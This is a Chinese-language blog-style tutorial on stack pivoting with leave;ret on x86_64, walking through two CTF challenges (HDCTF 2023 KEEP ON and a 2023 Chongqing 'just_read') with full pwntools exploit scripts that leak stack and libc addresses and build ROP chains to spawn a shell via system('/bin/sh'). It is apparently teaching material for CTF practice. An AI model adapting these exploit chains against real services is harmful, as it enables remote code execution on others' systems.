躺着躺着突然悟到了栈迁移的真谛,这种感觉谁懂?!
leave ret 这点非常非常非常重要,能不能理解栈迁移,靠的就是这个。
这里用x86_64位的寄存器当例子 (这里要注意,pop指令是将rsp的内容弹出并赋给相应寄存器,且 rsp + 8)
leave 相当于 mov rsp rbp;pop rbp
ret 相当于 pop rip
每个函数返回时都会执行该操作,如
其实这个操作就相当于恢复调用该函数的函数的栈空间
下面利用2个例子来理解其如何使用
例题 [HDCTF 2023]KEEP ON 该题利用fmt漏洞泄露rbp的内容,也就是栈地址,再利用栈迁移来实现漏洞利用
首先rbp的偏移是16,发送%16$p即可,fmt漏洞这里就不过多解释
我们来看rbp里存的是什么
rbp里存的是main函数的栈底地址0x7ffda23e22a0
0x7ffda23e22a0 - 0x60 就是我们read函数读入的地址,也就是s的地址,我们在这里构造gadget
接下来第二个read我们构造了下面的pd
1 2 3 gadget = old_rbp - 0x60 pd = p64(pop_rdi) + p64(gadget + 0x18 ) + p64(system) + b'/bin/sh\x00' pd = pd.ljust(0x50 ,b'a' ) + p64(gadget - 0x8 ) + p64((leave_ret))
我们先理解后半段pd,在read后函数返回
第一次leave ret
mov rsp rbp;pop rbp 把 rsp 迁移到 rbp 的地址,然后把 rbp 的内容赋给 rbp,这里 rbp 的内容被我们覆盖成了 gadget - 0x8 所以此时 rbp 就迁到了 0x7ffda23e2238
pop rip 把 leave_ret 赋给 rip 进行第二次 leave ret
第二次 leave ret
mov rsp rbp;pop rbp 同上,此时rsp 迁到了 0x7ffda23e2238 ,这时候 rbp 会迁到0x4007ed (此时的rbp不需要管他) ,因为已经用不到了
pop rip 把 pop_rdi 的地址赋值给rip ,成功的劫持了 rip 到我们的 gadget 上,执行我们的rop
前面说过pop时rsp会+8,这也是为什么我们要把 rbp 的内容覆盖成 gadget - 0x8 的原因
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(log_level = 'debug' , arch = 'amd64' ) elf=ELF("/home/feichai/ctf_file/hdctf" ) debug = 1 if debug: p = process('./hdctf' ) libc=ELF("/home/feichai/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6" , checksec = False ) else : p = remote('0.0.0.0' , 8888 ) libc=ELF("/home/feichai/ctf_file/libc.so.6" , checksec = False ) def lg (s, addr ): return info(f'\033[1;33m{f"{s} -->0x{addr:02x} " } \033[0m' ) r = lambda a: p.recv(a) ru = lambda a: p.recvuntil(a, drop=True ) s = lambda a: p.send(a) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) def exp (): leave_ret = 0x4007F2 pop_rdi = 0x4008D3 system = elf.plt['system' ] sa('please show me your name: \n' ,b'%16$p' ) ru(b'hello,' ) old_rbp = int (r(14 ),16 ) lg('old_rbp' ,old_rbp) gadget = old_rbp - 0x60 pd = p64(pop_rdi) + p64(gadget + 0x18 ) + p64(system) + b'/bin/sh\x00' pd = pd.ljust(0x50 ,b'a' ) + p64(gadget - 0x8 ) + p64((leave_ret)) sa(b'keep on !' ,pd) p.interactive() if __name__=='__main__' : exp()
just_read 这题是2023重庆市大学生信息安全竞赛的题目,只溢出了0x10给你修改rbp和返回地址
第一次构造的pd
1 pd = b'a' *0x40 +p64(bss+0x40 )+p64(0x400675 )
经过上一个例题初步理解了栈迁移后,下面的会有所省略
该pd将 rbp 迁移到了 bss+0x40 ,并重新返回 vuln 函数进行第二次read ,这里的0x400675并不是vuln最开头的地址,原因是每次函数调用时都会push rbp;mov rbp,rsp
bss + 0x40 是因为我们read的地址是 rbp - 0x40,所以第二次read是写在bss的地址,也就是我们gadget的地址
第二次构造的pd
1 2 3 pd=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) pd+=p64(pop_rbp)+p64(bss+0x500 )+p64(0x400675 ) pd=pd.ljust(0x40 ,"\x00" )+p64(bss-0x8 )+p64(leave_ret)
第一次leave ret : 此时rbp迁移到了bss - 0x8 ,rsp 迁移到了 bss+0x40
第二次leave ret : 此时rbp迁移到了bss - 0x8所存的地址上,具体是哪不用理会,rsp迁移到了bss - 0x8,经过两次pop后,rip成功的执行到了我们的rop
rop泄露了puts的地址,由此计算libc_base,可以得到system和’/bin/sh’,并把rbp迁移到bss+0x500,再次返回0x400675进行第三次read
第三次构造的pd
1 2 pd=p64(pop_rdi)+p64(bin_sh_addr)+p64(libc_system) pd=pd.ljust(0x40 ,"\x00" )+p64(bss+0x500 -0x40 -0x8 )+p64(leave_ret)
如果前面都理解了的话,到这里就通俗易懂啦
第一次leave ret : 此时rbp迁移到了bss+0x500-0x40-0x8 ,rsp 迁移到了 bss+0x500
第二次leave ret : 此时rbp又不知道去哪了,不用管,rsp迁移到了bss+0x500-0x40-0x8 ,经过两次pop执行了我们的rop
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *context(log_level = 'debug' , arch = 'amd64' ) elf=ELF("/home/feichai/ctf_file/pwn" ) debug = 0 if debug: p = process('/home/feichai/ctf_file/pwn' ) libc=ELF("/home/feichai/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6" , checksec = False ) else : p = remote('0.0.0.0' , 10000 ) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" , checksec = False ) def lg (s, addr ): return info(f'\033[1;33m{f"{s} -->0x{addr:02x} " } \033[0m' ) r = lambda a: p.recv(a) ru = lambda a: p.recvuntil(a, drop=True ) s = lambda a: p.send(a) sa = lambda a,b: p.sendafter(a,b) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) def exp (): puts_plt=elf.plt.puts puts_got=elf.got.puts pop_rdi = 0x400723 leave_ret = 0x400691 bss = 0x601200 pop_rbp = 0x400578 pd = b'a' *0x40 +p64(bss+0x40 )+p64(0x400675 ) sa(b'just read!' ,pd) pd=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) pd+=p64(pop_rbp)+p64(bss+0x500 )+p64(0x400675 ) pd=pd.ljust(0x40 ,"\x00" )+p64(bss-0x8 )+p64(leave_ret) s(pd) ru(b'\n' ) libc_base = u64(r(6 )+b'\x00' *2 )-libc.symbols[b'puts' ] libc_system = libc_base + libc.symbols[b'system' ] bin_sh_addr = libc_base + next (libc.search(b'/bin/sh' )) pd=p64(pop_rdi)+p64(bin_sh_addr)+p64(libc_system) pd=pd.ljust(0x40 ,"\x00" )+p64(bss+0x500 -0x40 -0x8 )+p64(leave_ret) s(pd) p.interactive() if __name__=='__main__' : exp()